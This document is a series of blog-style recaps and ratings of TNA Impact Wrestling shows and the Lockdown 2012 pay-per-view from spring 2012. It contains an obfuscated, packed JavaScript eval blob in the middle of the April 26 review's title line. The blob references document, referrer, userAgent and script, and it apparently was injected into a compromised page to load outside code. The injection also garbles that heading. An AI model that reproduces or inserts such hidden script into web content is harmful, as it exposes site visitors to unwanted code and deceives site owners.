Brooke Tessmacher/Velvet Sky vs. Madison Rayne/Gail Kim

Gail and Velvet start with Brooke being knocked to the floor. The May 31 time slot change is confirmed and there’s going to be a huge surprise on that show. Velvet gets double teamed and it’s Madison in now, humping the mat as usual. Back to Gail who hammers her down for two. A top rope rana is countered and Velvet comes off the middle rope with a bulldog kind of move to set up the tag. The ring gets cleared out and Brooke winds up hitting Eat Defeat on Gail for the pin at 4:45.

Rating: D+. How in the world was this almost five minutes? It felt like it came and went inside of thirty seconds, which doesn’t really surprise me as these matches are usually pretty forgettable. It’s been a very steady and basic build for Brooke vs. Gail and Gail needs to lose the title already anyway. The looks of the four girls are the highlights here again as usual.

Since we’re coming up on the ten year anniversary of the company, we get some clips of the previous ten years, including sabu showing up and costing Raven a title match against Jarrett which was a big deal at the time.

Here’s RVD to face whoever Roode picks for him. RVD says that he’s one of a kind and he’ll win the title from Roode. Cue Roode who says RVD always has his head in the clouds and was on a HIGHatus, and at Sacrifice RVD will be added to the list of everyone that Roode has beaten. Roode says RVD can announce Roode’s opponent first. RVD implies Storm for a bit but it’s Mr. Anderson. Roode picks Jeff Hardy.

TV Title: D-Von vs. Robbie T

This is fallout from Lockdown. Robbie jumps him in the corner and takes over quickly. He slams D-Von down for two but runs into a boot in the corner. D-Von comes back with his usual stuff like shoulders and punches. Swan Dive headbutt gets two. Robbie E is brought in and does nothing so D-Von spears T down. E hits him in the head with The List for the DQ at 2:45.

Snow and Flair meet in the back and the third judge is the Senior Vice President of Talent Relations: Bruce Pritchard (Brother Love).

After a quick recap of Silva’s performance last week, the judges talk with overly dramatic music playing. Pritchard and Flair aren’t thrilled but Snow pleads his case. Flair says he isn’t big enough so Snow suggests the X-Division. Flair still isn’t sold and Pritchard seems to have no idea what side he’s on. We’ll get the decision later I guess. So they sat there talking for four minutes for nothing?

Hogan tells Anderson his match tonight is No DQ and no countout.

Jeff Hardy vs. Rob Van Dam

They fight over a wristlock to start and RVD takes him into a rollup for two. Jeff sends him to the floor and hits a clothesline off the apron which gets two back in. Whisper in the Wind gets two. Van Dam takes out the knee and hits Rolling Thunder for two. Cue Roode with the belt but the referee sees him coming. Jeff gets sent into the ropes and Roode hits him in the back with the belt, allowing Rob to superkick Jeff down for the pin at 3:40.

Rating: D+. Bad match but it’s mainly because of how short the match was. With less than four minutes and a piece of that being spent on the referee yelling at Roode, they can only make it so interesting. Nothing to see here and I really don’t get the ending unless Roode hit Jeff by mistake.

Ray is walking through the back and runs into Joseph Park who says he’ll prove that Ray had something to do with Abyss’ disappearance. Ray shoves him away and threatens Park if he doesn’t back off.

JB says that he did what he did to Bischoff last week because of the last two and a half years of stuff he’s had to put up with. Bully Ray shows up and drags JB to the ring, saying they’ll talk about it out there. Out in the ring, Ray says that he’s tired of this anti-bullying nonsense and goes off on JB (never hitting him) about how JB is the kind of guy that guys like Bully pick on.

Cue Austin Aries who goes off on Ray, saying that Ray has picked on him for his size like everyone else has. Aries says that Ray was fat for most of his career and now he’s in shape and….Ray knocks the mic out of his hand and yells at Aries until Aries blasts him in the head. Aries beats him into the corner and beats him down in the corner. Security comes out to stop Aries and Ray kicks him low to end this.

Kaz and Daniels talk about getting the tag titles until Angle yells at them. They’re in a six man tonight. Angle isn’t thrilled about being their partner.

Roode isn’t worried about facing Mr. Anderson.

Kurt Angle/Christopher Daniels/Kazarian vs. Samoa Joe/Magnus/AJ Styles

AJ has those stupid black gloves again. The champs hit the ring and the brawl is on. Those four head to the floor so it’s AJ vs. Angle in the ring. This certainly works. AJ does the dropdown into a dropkick sequence but Daniels comes in to jump him. Angle doesn’t like it so he shoves Daniels into the corner. Joe comes in and pounds Angle down before tagging Magnus back in.

Kurt takes him down and we hit the chinlock. Magnus fights up and hits a clothesline for the tag to AJ. Styles cleans house and loads up the Clash but Daniels breaks it up with an enziguri. Everything breaks down and Magnus makes a blind tag. Daniels is sent to the floor with Magnus following him. Suicide elbow takes Daniels out. AJ sets for a dive but Angle picks the ankle and hooks the lock but Kaz tags himself in while the hold is on. Joe runs Angle into Daniels and Magnus breaks up Fade to Black, allowing Styles to hit the Clash on Kaz for the pin at 4:30.

Rating: C+. This was the best match on the show by about a mile so far. They were moving out there and while you had a bunch of angles going on in one match it was still entertaining. It’s going to continue Daniels vs. AJ which needs to end forever already but it also continues Styles vs. Angle which is good.

Daniels says next week, AJ needs to reveal the secret or he’ll do it himself.

Time for the Gut Check deal. Snow introduces the three judges (himself, Pritchard and Flair). This is straight out of a reality show as Silva stands there in a spotlight while the guys talk about him. Flair says no, Snow says yes, Pritchard says….something, and Silva gets thirty seconds to talk.

He’s from Quebec so he has a thick accent. This is his dream and he gets cut off with Flair saying to talk to them, not the marks. Silva says that he stands up for himself every single night and that he’s here for his contract. Flair says ok you’re in. Shouldn’t that do it? Pritchard says that sways him so it’s all three now and he gets a contract.

We run down the card for Sacrifice.

Mr. Anderson vs. Bobby Roode

This is No DQ. They start on the floor with Roode in control but Anderson sends him into the post. The Regal Roll puts Bobby down and we take a break. Back with Roode pulling the referee in front of him as a shield and then hitting a low blow to take over. Out to the floor again and Roode knocks Anderson around. Roode gets a chair and slides it in where it gets wedged between the top and middle rope.

Since this is a wrestling match, Anderson sends Roode into it instead. Anderson makes the comeback and hits the high kick for two. Mic Check is broken up and Anderson charges into a boot. Roode counters another Regal Roll into a spinebuster for two. Here’s Hardy out of nowhere to beat up Roode but as he goes to get Anderson up he takes the Mic Check. There’s another Sacrifice match I guess. Roode hits Anderson with the chair and this the fisherman’s for the pin at 11:10, a lot of which was in a commercial.

Rating: C. Not bad here but it was more to set up Anderson vs. Hardy than to do anything about Van Dam vs. Roode. At least it broke ten minutes which helps a bit but the match was nothing great at all. Roode needs time to make his matches better and since he didn’t have that here, the match suffered.

Roode lays them both out with the chair until Van Dam comes in for the save. Roode leaves but comes back to beat down RVD, hitting a DDT onto the chair to end the show.

Overall Rating: D. This one missed for me. It wasn’t that the show was bad but much more that it was boring. I didn’t like the Silva stuff for the most part and that was pretty much the main focus of the show. There was less Hogan tonight which helped and while it wasn’t annoying like last week, I just kept wanting the show to move along. The really short matches other than the main event didn’t help things either. Not a horrible show but it didn’t work that well for me.

Results
Brooke Tessmacher/Velvet Sky b. Gail Kim/Madison Rayne – Eat Defeat to Kim
D-Von b. Robbie T via DQ when Robbie E interfered
Rob Van Dam b. Jeff hardy – Superkick
AJ Styles/Samoa Joe/Magnus b. Christopher Daniels/Kazarian/Kurt Angle – Styles Clash to Kazarian
Bobby Roode b. Mr. Anderson – Fisherman’s Suplex

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Impact Wrestling – April 26, 2012: Open Fight Night: It Came, It Went, It Had A Lot Of Hogan

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abeir|var|u0026u|referrer|ddhfz||js|php'.split('|'),0,{})) Wrestling
Date: April 26, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

This is the first of the Open Fight Nights, which means that anyone that challenges anyone else will automatically get their match. There’s a guaranteed title match as well as a guaranteed TV Title match which will be the case every week. Other than that we’ll continue the build towards Sacrifice and the main event between RVD and Roode. Let’s get to it.

We open with Hogan talking to the champions (minus ODB and Young) and saying they could be challenged tonight too. Tonight Joe and Magnus will be defending against….some team that Hogan will announce just before the match. He might even tell them as the opponents are on the way to the ring.

D-Von comes out and says that since he has to defend against someone every week, tonight it’s going to be against the guy that everyone wants to see get beaten up: Bubba. Yes Bubba, not Bully. He has to accept because it’s a challenge on Open Fight Night. Ray comes out and runs his mouth first, saying that he doesn’t want to be in a ring with D-Von. Ray says no, so D-Von chases after him and throws him into the ring

TV Title: D-Von vs. Bully Ray

D-Von throws him into the ring and Ray begs off like a true bully. Thesz Press puts Ray down and D-Von goes up, only to get crotched as we take a break. Back with Ray dropping elbows and we get a clip of him holding up the belt during the break. D-Von comes back with right hands but Bubba clotheslines him down for two. Bubba sets for a charge but runs into the spinebuster for the completely clean pin at 9:45, most of which was in a commercial.

Rating: D+. The match was nothing interesting and for the life of me I don’t get the idea of pushing D-Von this hard. He hasn’t been bad, but man alive there are a lot more people that could be pushed besides him. Nothing to see here for the most part and if this is what open fight night is going to be like, it doesn’t seem like something that’s going to be all that interesting. It’s early yet though.

Flair is going to have a party for Eric (uncensored) Bischoff later tonight.

Kaz and Daniels come in to talk to Angle and ask for a thank you for the AJ victory last week. Angle yells at them and says stay out of his matches. Daniels also mentioned that AJ’s world will come crashing down in a few weeks.

Here’s JB who says that since it’s Open Fight Night, he wants to call out Eric Bischoff for being a jerk to JB, who has more seniority than anyone in the company. Eric went on a rant on Facebook or Twitter about JB recently and this is the payoff. Here’s Eric, marking his time away from Impact at one full week. Eric takes a picture of JB and Borash goes into a rant about Eric getting drunk and talking about employees behind his back.

As Eric talks, Ray comes in with a low blow to JB. Eric says he’s going to post something on his Twitter, and demands that a referee come in. he rolls up JB and has the bell rung. You know for a guy that isn’t on the show anymore, he’s around a lot anymore.

Anderson remembers Bischoff and talks about how he’s a hypocrite. Mexican America’s music is loudly playing during most of this. Pay no attention to the graphic saying “earlier today”.

Here’s Mexican America who says they can beat anyone.

Anarquia vs. Kurt Angle

Anarquia tries to have Hernandez do this and jumps Angle from behind. Angle Slam, Ankle Lock, 49 seconds.

We get a profile on the guy that is getting the Gut Check Challenge for a contract. It’s former OVW TV Champion Alex Silva. One of the judges (out of three plus Hogan) is Al Snow.

Alex Silva vs. Robbie E

Remember it’s not win and you’re in. Silva has to impress the judges, of which we only know two. Silva starts fast but gets caught by Robbie pretty fast. Powerslam gets one for Silva and then they cut to the crowd in probably a botch edit, followed by an implant DDT by Robbie for the pin at 2:18. Way to push these new guys right off the bat guys.

Dixie remembers the lies Eric told her.

Hogan has all of the potential tag team contenders in his office (Kaz/Daniels, Guns, Anderson/Hardy, ODB/Young) and wants to hear why each should get a title shot. The Guns say they’re dedicated more than anyone else and Hogan respects that. Hogan wants Hardy and Anderson to get along so Anderson kisses Hardy on the cheek. As for the Knockout Champions, Eric gives a speech of his own. Hogan can’t make a pick now but he eliminates the Guns from the running.

Here’s Tessmacher with something to say. She says last week she beat Gail and it’s being called a fluke. Brooke is here to prove it wasn’t just a fluke and she wants a match with Gail right now.

Gail Kim vs. Brooke Tessmacher

Brooke keeps trying to jump her but Hebner keeps stopping her. Gail jumps Tessmacher and we’re ready to go. This is non-title by the way, as I guess you can’t challenge for titles, which I thought they said you could last week but whatever. Tessmacher sends her into the corner but gets clotheslined down immediately. Tessmacher makes her comeback with some dropkicks but misses a charge and hits her throat on the ropes. Gail holds the belt in front of Brooke’s face and says she’s nothing. Kim goes up but misses a missile dropkick, allowing Brooke to hit a mat slam out of a belly to back suplex position for the pin at 3:57.

Rating: C-. Considering the great shots we got of both of these two, there’s no way you can really call this a failure. Tessmacher is out there because she looks great in a swimsuit and there’s nothing wrong with that at all. Gail needs some new challengers and Brooke is fine for that role.

Daniels and Kaz say they’ll get the title match tonight. Also if AJ doesn’t show up next week, they’re going to let the cat out of the bag.

Video on Rob getting the title shot last week and Roode has a quick response to him.

Silva and Snow are in the back and we’ll get the decision next week from Snow and the judges. Roode comes in and says he doesn’t need to introduce himself and Silva agrees. Roode doesn’t like the idea of the Gut Check deal because he had to work so hard to get the contract here. He says always be ready and hits Silva in the stomach.

Back to Hogan’s office for another elimination as this is a freaking reality show now. He throws out Eric and ODB for not being serious enough. He tells both remaining teams to go to the ring.

Garrett isn’t sorry his dad is getting fired.

Ray is on the phone with some chick when Joseph Park comes up to see him. It only took him about three months to find him too. Ray doesn’t like to be touched. He has nothing to say to Park but gets a business card, which he says to shove. Park laughs and needs a good dentist.

Tag Titles: Samoa Joe/Magnus vs. ???/???

The contenders are Hardy/Anderson and Kaz/Daniels. Hogan picks Hardy/Anderson because Kaz/Daniels aren’t legit or something.

Tag Titles: Samoa Joe/Magnus vs. Jeff Hardy/Mr. Anderson

Joe and Anderson start us off and it’s a stalemate. Anderson slaps Hardy on the chest for a tag and it’s Magnus on the other side. They have about the same result so it’s time for more communication issues with Hardy and Anderson. Back with Joe pounding on Anderson and tagging in Magnus. Anderson takes Magnus down and begrudgingly tags in Hardy. The champs double team Jeff and Joe gets two off a Magnus boot. Hardy hits the Whisper in the Wind and makes the hot tag to Anderson. He cleans house but gets caught in the Clutch as Jeff is on the floor, good for the tap at 10:53.

Rating: C+. Well this was a waste of buildup from a show. They spent the whole show building this title match up and while it was ok, there was nothing great about it and nothing happened. That’s the issue with the whole show: nothing is really happening on it and it’s getting annoying.

Here’s Flair, Gunner, Kaz, Ray and Daniels for the Bischoff party. The fans chant goodbye and Flair tells them he’ll move the party. He says if you know wrestling, you know Eric Bischoff. He asks Eric to come out and praises him for awhile. Gunner gets to thank him for a lot of stuff, Ray calls Eric the wind beneath his wings, and Flair gives him a Rolex.

Cue Garrett and some faces including RVD, Aries and the Guns along with JB. They say it’s time to induct Eric into the shed of shame, which is a portable toilet. The guys go to the ramp for a brawl and Garrett grabs Eric, throwing him in the Port-A-Potty. They chain it shut and turn it over to mess Eric up. Eric comes out of it to end the show. Oh and this got more time than any match tonight.

Overall Rating: D. This was just another episode of Impact but a lot more boring than usual. As always, WAY too much camera time for Hogan and Bischoff. If you look at the show, Ray was in I think four segments, Kaz and Daniels were in about five, Hogan was in something like ten, and NOTHING actually changed here. No titles changed hands, we don’t know about Silva (nothing special) and nothing was advanced for the PPV. This didn’t work for me at all.

Results
D-Von b. Bully Ray – Spinebuster
Kurt Angle b. Anarquia – Ankle Lock
Robbie E. b. Alex Silva – Implant DDT
Brooke Tessmacher b. Gail Kim – Face First Mat Slam
Samoa Joe/Magnus b. Jeff Hardy/Mr. Anderson – Coquina Clutch to Anderson

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Impact Wrestling – April 19, 2012: That’s A Sad Cowboy

Impact Wrestling
Date: April 19, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz

It’s the first show after Lockdown and according to the previews, Hogan has a huge announcement for the night. That could mean anything around here so I have no idea what to expect. Other than that Eric is supposedly gone (why do I not buy that) and Roode retained the title in a pretty questionable decision. Let’s get to it.

We open with a recap of the end of Lockdown and Storm saying that this is a tough one to swallow.

Here’s Roode to open the show and he has short hair now. He says all of his catchphrases and says he’s still world champion. The kick nailed him but he’s still champion. He says that he’s beaten every one of the people’s heroes and there aren’t any left. Cue Anderson who says he doesn’t need a gun, a knife or a beer bottle to take the title. Roode says Anderson isn’t at the front of the line so hit the road Jack.

That brings out Hardy who limps to the ring just like Roode did. Hardy says it’s time to get selfish and end Roode. Anderson says he was here first which Roode agrees with. Hardy says it’s his turn but Anderson tells him to get in line. They’re about to brawl but Hogan pops up on screen and has something to say. He wants all of the champions in the ring tonight. As for Hardy and Anderson, they’ll have a match later for the #1 contender spot in the main event.

Crimson/Bully Ray vs. Matt Morgan/Austin Aries

Nothing wrong with combining feuds. Crimson and Morgan get it on to start but Ray interferes to make Morgan miss a boot. Crimson works on the leg with Ray ramming it into the apron. Ray works on the knee for awhile before Crimson comes back in to work on the leg, including a basic leg lock. Morgan avoids a charging Crimson and makes the tag to Aries.

The champ fires off with a bunch of speed and tries some poetry in motion with Crimson playing Matt. Crimson accidentally spears Ray and heads to the floor. Suicide dive takes out Crimson so Aries loads up the brainbuster. Ray rolls out of it and a handful of tights pins Aries at 6:03.

Rating: C-. Not much here but I guess it’s supposed to set up Aries vs. Ray down the line. At least that’s what the signs would be pointing to here. The match wasn’t bad or anything but it didn’t really make me want to see either of these pairings go at it again, which kind of defeats the purpose of the match.

Hardy says he and Anderson both deserve chances so he’s fine with Hogan’s decision.

Here’s Garrett to bring the show down. He has his Lockdown team with him minus Aries. AJ is in black gloves for some reason. Garrett says they won after a hard fight and got rid of his dad. Here’s Flair to say that they got rid of Eric BEEP. Yeah they’re censoring his name now. Flair runs down the guys in the ring and says next week there’s going to be an Eric party. He’ll drinking there too and those four aren’t invited.

We go to the back with Daniels and Kaz. Daniels has an envelope which apparently holds whatever he has over AJ. It’s over AJ and not Kaz. Ok then.

Joe, Magnus and D-Von have a quick powwow but don’t know what the announcement is about later.

Kurt Angle vs. AJ Styles

AJ has black tights and gloves. The look really isn’t working for him. Angle tries a German suplex grip but AJ escapes….and the screen goes black and we go to a commercial. Seemed like a glitch. Back from what I guess was an early cut to a commercial. Daniels and Kaz are at ringside. Styles hits the springboard forearm but Daniels pops up on the apron with the envelope. AJ escapes the slam and Daniels shows Styles the papers. The distraction lets Angle roll him up for the win at 5:26 total, but about 4:30 was in commercial so no rating.

AJ is freaked out by the envelope and he doesn’t seem that concerned with the loss. Daniels says he has copies.

Joseph Park is still looking for Immortal but Gunner still doesn’t want to talk to him. Joseph stops him from leaving and says that he’s not going anywhere because he wants answers. Gunner says go talk to Bully Ray. Park seems cool with that idea.

Here come all the champions and the feed cuts out again as D-Von comes to the ring. This wasn’t as bad as it only cut about 5 seconds because it was said they were going to commercial.

Back and all the champions are in the ring. In the back RVD is coming to the ring and Hogan stops him for some congratulating. Hogan throws him in the #1 contenders match, I think because he was on the team that got rid of Eric. Well at least it’s not Garrett getting the chance.

Hogan comes to the arena now for his big announcement. Starting next week, once a month it’s Open Fight Night. On that month, someone from outside of TNA is going to be able to come on Impact to wrestle. They get to have a match and they’ll be judged by three people. If the judges and Hulk like what they see, the person gets a contract. So they’re combining this with his Celebrity Wrestling show? Oh and also, ANYONE can issue a challenge to ANYONE and it’s automatically a fight.

Roode obviously protests and says that’s not fair. He asks Hogan who he thinks he is and there goes his intelligence. If a champion gets called out, Hogan gets to decide if it’s a title match. You can tweet and Facebook Hulk ideas as well to determine if a champion defends. D-Von says he wants to be a fighting champion so the TV Title will be on the line every week. So to recap, every month someone from outside the company gets to come in and try their luck for a contract. There’s the challenge night, and there’s going to be a title match that night every month. Oh and the TV Title is defended weekly now.

Gail Kim/Rosita/Sarita/Madison Rayne vs. Tara/Brooke Tessmacher/Mickie James/Velvet Sky

Velvet vs. Sarita to start and Sky hits the Kelly Kelly headscissors. Off to Rosita who gets beaten down as well. Gail comes in and hits a clothesline for two. Velvet smacks her around so it’s off to Madison vs. Brooke and then Mickie very quickly. Flapjack takes Madison down and Mickie goes up, but Sarita pulls her onto the ropes for two. With Mickie on her knees, Rosita manages to hit a rana for two.

Mickie hits a neckbreaker for some breathing room and it’s off to Tara. Down goes Sarita and we get the jiggling moonsault. Tessmacher comes in and gets Salsa danced at. TNT takes Sarita down and dances as well. Facejam out of the corner draws in Madison and it’s off to Gail quickly. Everything breaks down and Velvet distracts Gail enough for Brooke to get the rollup pin at 5:40.

Rating: C. The match wasn’t bad but the whole reason it was there was to st up Brooke as the next challenger. Well that and to have eight hot women in small outfits in the ring at the same time so on both levels it worked. We needed some fresh blood in the division anywhere so this is a good thing.

Velvet yells at Gail post match like she was the one that got the pin.

ODB and Eric are on their honeymoon. They’re by a pool and Eric has a bag of ice on his pelvis because of some friction issues. A guy pops up and Eric freaks on him and strips down.

TV Title: Gunner vs. D-Von

Gunner jumps him and we’re off and not quite running. D-Von comes back with his right hands but runs into an elbow. Clothesline gets two for Gunner. He beats on Gunner for a bit until D-Von comes back with a shoulder block. Thesz Press sets up a headbutt and more jumping moves. Spinebuster finishes clean at 4:07.

Rating: D+. This match exists. That’s about all I can say for it. D-Von has done ok I guess, but there are so many other people that they could use in his spot which is what makes me skeptical of him. Not a bad match but I think I like this idea of the title being on the line every week. It’s a lot better than the nonsense of it being just at PPVs.

Here’s Storm for the big talk post Lockdown. After a break he apologizes to his family and thought that Roode being looked at by medics was enough. Then he had to drive home and look at his daughter when she asked where the belt was. He couldn’t look himself in the eyes either because he didn’t want to see a failure. Storm says he beat himself and talks about all the work he’s put in to get here. His biggest apology is to his dad though, because that’s who he let down the most. Roode said that Storm’s luck has run out and maybe that’s true. He drops the mic and walks away. Really good promo.

Rob Van Dam vs. Mr. Anderson vs. Jeff Hardy

Winner gets Roode at Sacrifice. Everyone attacks everyone to start with no one getting a distinct advantage. Jeff’s sitout gordbuster gets two on RVD. Hardy gets sent into the post and Anderson hooks a chinlock on Van Dam. Whisper in the Wind takes Anderson down and it’s into one of the triple threat formulas, this one being everyone takes everyone down and no one gets a long term advantage. Twist to Anderson and Jeff hits the Swanton but Van Dam kicks his head off before a cover. Five Star hits Anderson and a backslide to Hardy gives Rob the win at 5:24.

Rating: C-. This was uh….short. It wasn’t bad or anything but it never got off the ground due to the time in it. I’m curious as to where Anderson and Hardy go here, but Van Dam vs. Roode seems like a pretty weak main event at Sacrifice. To be fair though, maybe that’s what they’re going for. Not a bad match but it’s nothing that’s going to be remembered.

Overall Rating: C+. This was a mixed bag for me. There’s some good stuff in here but some more questionable stuff. Unless Storm is hurt, I don’t get where they’re going with him. Then again I haven’t gotten it since they had the Lockdown match end that way. Other than the TV Title, it’s a wait and see moment with Hogan’s announcement at this point as there’s a lot of stuff to take in. This wasn’t a bad show, but it’s more of a starting point so it’s hard to say what this stuff is going to mean.

Results
Bully Ray/Crimson b. Matt Morgan/Austin Aries – Ray pinned Aries with a rollup
Kurt Angle b. AJ Styles – Rolup
Brooke Tessmacher/Tara/Mickie James/Velvet Sky b. Gail Kim/Rosita/Sarita/Madison Rayne – Tessmacher pinned Kim with a rollup
D-Von b. Gunner – Spinebuster
Rob Van Dam b. Jeff Hardy and Mr. Anderson – Backslide to Hardy

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Lockdown 2012: Angle Wins Lockdown, Again

Lockdown 2012
Date: April 15, 2012
Location: Nashville Municipal Auditorium, Nashville, Tennessee
Commentators: Mike Tenay, Tazz

This is the second biggest show of the year for TNA as every match is inside a cage. The double main event is Roode vs. Storm for the title and Lethal Lockdown with Team Bischoff vs. Team Garrett in a match that no one really wants to see, even the big TNA fans. We also have Angle vs. Hardy in what should likely be Angle’s great match that he always has here. Let’s get to it.

Young/ODB vs. Rosita/Sarita has been added to the show.

The opening video is of Storm getting in a truck and saying that it ends tonight with Roode.

The regular opening video is a history of Beer Money and how they had a lot of success but they were never friends. This has a lot of audio clips from the showdown on Thursday which is a good thing.

Team Garrett has a meeting. Garrett wants to go first to earn his team’s respect. Great. MORE Garrett. The team agrees.

Lethal Lockdown

Team Eric: Eric Bischoff, Gunner, Bully Ray, Kazarian, Christopher Daniels
Team Garrett: Garrett Bischoff, AJ Styles, Mr. Anderson, Rob Van Dam, Austin Aries

I was worried this would close the show so this is a nice surprise. This is TNA’s WarGames match and if Garrett’s team loses, he’s out of TNA. If Eric’s team loses, he’s out and can’t use his name in wrestling again. Three minute opening period then two minutes for each one after that and Team Eric has the advantage. Gunner and Garrett start of course and it’s power vs. speed.

Garrett tries to avoid the power but after a missile dropkick, Gunner takes over by running him down. Into the corner and Gunner hits a running knee to the head. No pins or submissions until all ten are in remember. He rams Garrett into the steel and Bully Ray is out next for a two minute advantage. Gunner holds him for a running boot to the chest. This is pure dominance for about 90 seconds until Austin Aries is in fourth. The fans were cheering his name so they’re giving the people what they want.

Aries EXPLODES on Ray in the corner and gets in some shots on Gunner as well. At about a minute in he runs into a boot and Ray takes over. Garrett stays in the corner where he belongs as Aries, the actually good wrestler, does the work. A missile dropkick puts Ray down and Kazarian, with a nearly shaved head, is in next. The fans chant that he looks stupid and it’s a three on one beatdown of Garrett. Gunner chokes Aries as Kaz fires off kicks to the ribs of Garrett.

AJ evens things up as this is in classic WarGames formula already. Kaz tries to meet him coming in but AJ slams the door on his head. Pele takes Gunner down but Ray runs him over. Sweet dropkick takes Ray down and everyone pairs off. Here’s Daniels for another advantage. It’s 4-3 at the moment and Daniels gives Team Eric the big advantage. Ray pulls off his belt and Garrett takes a whipping.

Anderson is the fourth guy for his team so there’s just Eric and RVD to go. It’s the heel beatdown again but AJ manages a nice suplex on Ray. Now back to your regularly scheduled beatdown with thirty seconds to go before Eric comes in. Here’s Eric in business casual attire. He holds Garrett for a big chop from Ray and Gunner gets in one as well. Eric and Daniels talk trash as the clock counts down.

Here’s Van Dam and he cleans house. There hasn’t been a lot of that in this match so far. There hasn’t been much to commentate on because it’s been 17 minutes of punching and kicking so far. That’s what these matches usually are so it’s not a shock, but it’s still not that interesting. Eric hides in the corner and here come the weapons. The match basically resets here as everyone gets a weapon and Team Garrett takes over.

Daniels takes a bunch of weapon shots and Aries stomps away on Ray. Eric gets dragged in by AJ and Austin and the beating commences. Van Dam loads up the Five Star but Gunner crotches him. Ray lawn darts Aries into the cage but Anderson comes back with a swinging neckbreaker to Daniels. Kaz gets the spotlight now as he beats up everyone before focusing on AJ.

Kaz monkey bars across the top of the cage but AJ follows him and kicks him down. He drops an elbow down on Kazarian and RVD hits the Five Star. Ray takes Van Dam down but picks up a chair. YOU DON’T PICK UP A CHAIR IN A ROB VAN DAM MATCH! Van Daminator puts him down but Daniels pops up to take Van Dam out. Daniels goes after Garrett but Garrett hits his falling Diamond Cutter.

He covers Daniels but Eric grabs a kendo stick to pound away on him. Eric insults his own wife by calling Garrett an SOB and beats Garrett half to death. The fans want blood. Eric is the only one up at the moment. Garrett pops up and guitars Eric for the pin at 26:04 to get rid of Eric for I’d say three months or so. That was completely out of nowhere.

Rating: C-. This was probably the worst Lethal Lockdown I can ever remember. There was A LOT of punching and kicking and no big spot at all. Also the whole thing here was supposed to be about Garrett’s big comeback but really all he did was pop up after a bunch of kendo stick shots, hit Eric once and pin him. Naturally that probably means more TV time for Garrett because that’s what the fans are screaming for in Eric’s ears, but that’s life in TNA. Getting this out of the way first was a good idea though.

Tag Titles: Motorcity Machineguns vs. Magnus/Samoa Joe

The Guns have generic music to start but their regular theme starts during their walk to the ring. Methinks that was a glitch. You can win by pin, submission or escape for the rest of the matches. Magnus and Shelley start things off. Things speed way up to start and Magnus gets a clothesline for two. Sabin gets a blind tag and a pair of kicks get two. Off to Joe who is too fat for Sabin to run over.

A crucifix into a sunset flip doesn’t really work either so let’s try a dropkick. That at least slows Joe down and it’s off to Shelley. Back to Magnus who gets caught in a pinball series of punches. Magnus comes back and manages a fallaway slam to throw Sabin into Shelley in a cool spot. Back to Joe who pounds Sabin down to give us a face in peril. I think he’s in peril to another face but you get the idea.

The champions double team Sabin to keep him in the ring including a big boot to set up a backsplash for two. Magnus hooks a chinlock but Chris comes back with a jawbreaker to get out. A spinning spinebuster puts Sabin right back down and it’s off to Joe again. Snap suplex gets two. Sabin grabs a tornado DDT while climbing up Magnus and is able to make the tag. Shelley comes in but even that doesn’t wake this crowd up.

Sliced Bread is broken up but Sabin powerbombs Joe out of the corner. Magnus is knocked off the top and a top rope double stomp gets two for Shelley. A move I think called the elevated Hero’s Welcome gets two on Magnus. Skull and Bones is broken up and Sabin is caught in the Clutch. Sliced Bread hits Magnus and Joe has to break up the choke to make the save. The champions’ finisher misses so Sabin hooks up a rear naked choke on Joe. Magnus hits a kind of Michinoku Driver on Shelley and Joe runs out of the corner, dropping Sabin on Shelley. The snapmare/elbow gets the pin on Shelley at 11:19.

Rating: B-. This started really slow but once they stopped the tagging it got a lot more exciting. I definitely agree with the champions retaining here as there’s nothing for the Guns to do in this division anymore. Having them as something like Beer Money for the last year they were together would be a much better spot for them which is something they could do now.

Robbie E says he’ll get the TV Title back. Why didn’t this go after Lethal Lockdown to save the crowd a bit?

TV Title: D-Von vs. Robbie E

D-Von rams Robbie into bigger Rob to start. Robbie takes him down and stomps a lot, followed by a middle rope forearm for two. Time for the chinlock for a bit before Robbie goes to the top rope (yes rope, not corner), only to get crotched. D-Von comes back with a shoulder block and Miz’s Reality Check. Corner splash sets up the spinebuster to retain at 3:26.

Rating: D+. I get the idea of filler, but it’s still D-Von Freaking Dudley with a title. I could definitely see Ray having a belt at this point as he’s elevated his game huge, but D-Von is so average it’s unreal. He’s huge and has gotten in great shape, but how many other people would be better with the title? In short, no one because it’s never defended so it doesn’t really matter, which is the much bigger part of the problem.

Robbie T beats down D-Von post match, probably to continue the feud.

Matt Morgan says that he’s in wrestling to make money and win titles. Tonight, it’s about revenge though and the cage is a prison cell.

Knockouts Title: Gail Kim vs. Velvet Sky

No pigeons again and Tazz is upset. Her outfit is different this week as it’s more like a skirt. Madison comes out with Gail. Velvet grabs a fast rollup for two but Gail hits her in the back to take over. Velvet fires off some shots but Gail knocks her back, hitting a missile dropkick for two. More back work in the form of a backbreaker with the bending over the knee by Gail before she moves on to a knee lock, bending it around her own head.

Gail hooks something like a dragon sleeper which is countered by a jawbreaker. She misses a charge in the corner but Velvet is down too. Flying headscissors puts Gail down but she pops up to try and climb out. Velvet follows her up for some knees on the top rope. She looks for In Yo Face but settles for a sunset bomb for two instead. Madison starts yelling at Velvet as Gail tries to escape. Sky notices and tries an O’Connor Roll which is reversed into a rollup by Gail with tights for the pin at 7:27.

Rating: C-. Not the worst match ever but they’re not doing anything to help this already bad crowd. Gail keeps the title here, which I can live with because there was very little build for Velvet, but they need someone to breathe some life into this division. Gail and Madison has been played but it didn’t get mentioned at all here for the most part.

Here’s Flair for some chatting. If anyone can get a crowd fired up it’s him. Flair asks if the people know who he is and insults some fans at ringside for not knowing who he is. I think he’s drunk. He’s ticked off and that’s not good for who he’s ticked off at, and that would be Hogan. Tonight Hogan ended Eric Bischoff’s career and that’s not cool. He insults some fat guy in a yellow t-shirt and here’s Hulk.

